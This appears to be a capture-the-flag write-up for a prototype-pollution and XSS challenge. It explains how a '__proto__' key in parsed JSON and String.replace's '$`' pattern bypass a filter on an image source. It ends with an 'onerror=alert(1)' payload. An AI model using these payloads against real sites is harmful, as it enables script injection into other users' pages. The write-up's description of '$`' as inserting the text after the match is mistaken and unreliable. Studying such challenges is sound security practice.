Prototype Pollution 1

This requires a couple of interesting tricks. The main goal of this challenge is to tamper with a JSON object (config) with a special key (source) and bypassing a bunch of limitations.

Note: We have to manage to get the payload through JSON.parse() which is not easy and prohibits anything active and dangerous.

Analyzing the code, there's no way to inject any attack vector within source, the only hope is in the __proto__ property of Object.prototype.

The idea is to redefine the source value and use some filters against themselves, yeah mad but awesome! To do this, we must remind some main rules:

- There must be only one source key
- The source key must have a valid value otherwise will be removed:

```
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
   delete config.source;
}
```

So, if we provide an object like this:

```
{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}
```

we have a valid object with two keys: source and __proto__.

```
config = {
 "source": "_-_invalid-URL_-_",
 "__proto__": {
    "source": "my_evil_payload"
 }
}
```

Now the interesting part. We said that the 2nd rule requires a valid image source, but the one provided is not valid (_-_invalid-URL_-_) and thus we triggered the delete instruction: **delete config.source;**.

That is what we were looking for. At this point the config object is as follows:

```
config = {
 "__proto__": {
    "source": "my_evil_payload"
 }
}
```

This means that we have a new getter for source! In fact, config.source is equal to config.__proto__.source, this because __proto__ is an accessor property (getter/setter function). Now we have a way to inject our attack vector within source, but now the problem is this rule:

```
var source = config.source.replace(/"/g, '');
```

If we cannot inject a " character we still cannot break the injection point:

```
<img src="{{source}}">;
```

We need another trick .. say hello to String.replace()! It's not commonly known that the replace method accepts some Special replacement patterns. This is what we need:

$`	Inserts the portion of the string that follows the matched substring

So, injecting the following...

```
{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`onerror=alert(1)>"}}
```

Should get the flag!